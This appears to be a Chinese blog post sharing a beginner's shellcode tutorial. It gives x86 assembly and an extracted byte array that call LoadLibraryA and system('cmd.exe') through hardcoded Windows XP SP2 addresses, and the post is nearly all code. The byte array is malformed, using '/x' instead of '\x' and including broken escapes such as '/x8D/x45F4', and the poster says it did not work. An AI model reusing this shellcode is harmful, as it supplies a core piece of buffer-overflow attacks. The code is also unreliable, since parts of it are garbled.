没什么好说的啦,看代码就是啦
#include
void main()
{
char *a = (char*)MessageBox;
__asm
{
push 0
push 0
push 0
push 0
mov ebx, 77d5050bh
call ebx
}
printf("%0x/n", a);
}
顺便转一篇有关SHELLCODE的文章,看起来很简单,但是测试就是不成功.先看看再说.
/
说起ShellCode的编写,那可是一门大学问.本人愚笨,费了好大劲才理解缓冲区溢出的概念.ShellCode可是一次成功的攻击的必不可少的东东,拜读过许多前辈的文章,加上亲身试验,于是有了这么一篇文章.
首先应该有个样本程序,好把ShellCode从中提取出来,要注意的是各个函数的调用都应该用直接Call 函数地址,也就是用C++里面的函数指针,取得各个函数的地址可以先用GetProcAddress()函数取得,并且各个系统里面函数地址也不相同.本来想偷个懒用VC写的,可是发现自己没装VC(晕倒~~~) 那还是用汇编写吧
这个程序首先是LoadLibraryA(msvcrt.dll),然后system(cmd.exe),听起来很简单吧,写起来也很简单
.386
.model flat,stdcall
option casemap:none
.data
.code
start:
;LoadLibraryA("msvcrt.dll")
push ebp
mov ebp,esp
push eax
push eax
push eax
mov eax,4356534Dh
mov dword ptr[ebp-0Ch], eax
mov eax,442E5452h
mov dword ptr[ebp-08h], eax
mov byte ptr[ebp-04h],4Ch
mov byte ptr[ebp-03h],4Ch
;我的系统是XP SP2 MSDN版 相关的函数地址也就是这个版本的
lea eax,[ebp-0Ch]
push eax
mov edx,7C801D77h
call edx
;system(cmd.exe)
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, 2E444D43h
mov dword ptr [ebp-08h], eax
mov byte ptr [ebp-04h], 45h
mov byte ptr [ebp-03h], 58h
mov byte ptr [ebp-02h], 45h
xor edx, edx
mov byte ptr [ebp-1h], dl
lea eax, dword ptr [ebp-08h]
push eax
mov eax, 77BF93C7h
call eax
;ExitProcess(0)
push 0
mov eax,7C81CDDAh
call eax
end start
哈哈,挺简单吧,用MASM编译链接.运行一下 一个可爱的CMD.exe打开了.最后一步提取就更简单了,用调试器查看机器码,抓紧写吧 哈哈 这不 出来了
unsigned char shellcode[]=
"/x55/x8B/xEC/x50/x50/x50/xB8/x4D/x53/x56/x43/x89/x45"
"/xF4/xB8/x52/x54/x2E/x44/x89/x45/xF8/xC6/x45/xFC"
"/x4C/xC6/x45/xFD/x4C/x8D/x45F4/x50/xBA"
"/x77/x1D/x80/x7C" //Address of LoadLibraryA in WinXPSP2
"/xFF/xD2/x55/x8B/xEC/x83/xEC/x0C/xB8/x43/x4D/x44/x2E"
"/x89/x45/xF8/xC6/x45/xFC/x45/xC6/x45/xFD/x58/xC645/xFE"
"/x45/x33/xD2/x88/x55/xFF/x8D/x45/xF8/x50/xB8"
"/xC7/x93/xBF/x77" //Address of system in WinXPSP2
"/xFF/xD0";
这个简单的ShellCode虽然很简单也不实用,但是学习就是要一步一个脚印,有浅至深,这算是在这里记一笔我这几天的一点学习内容.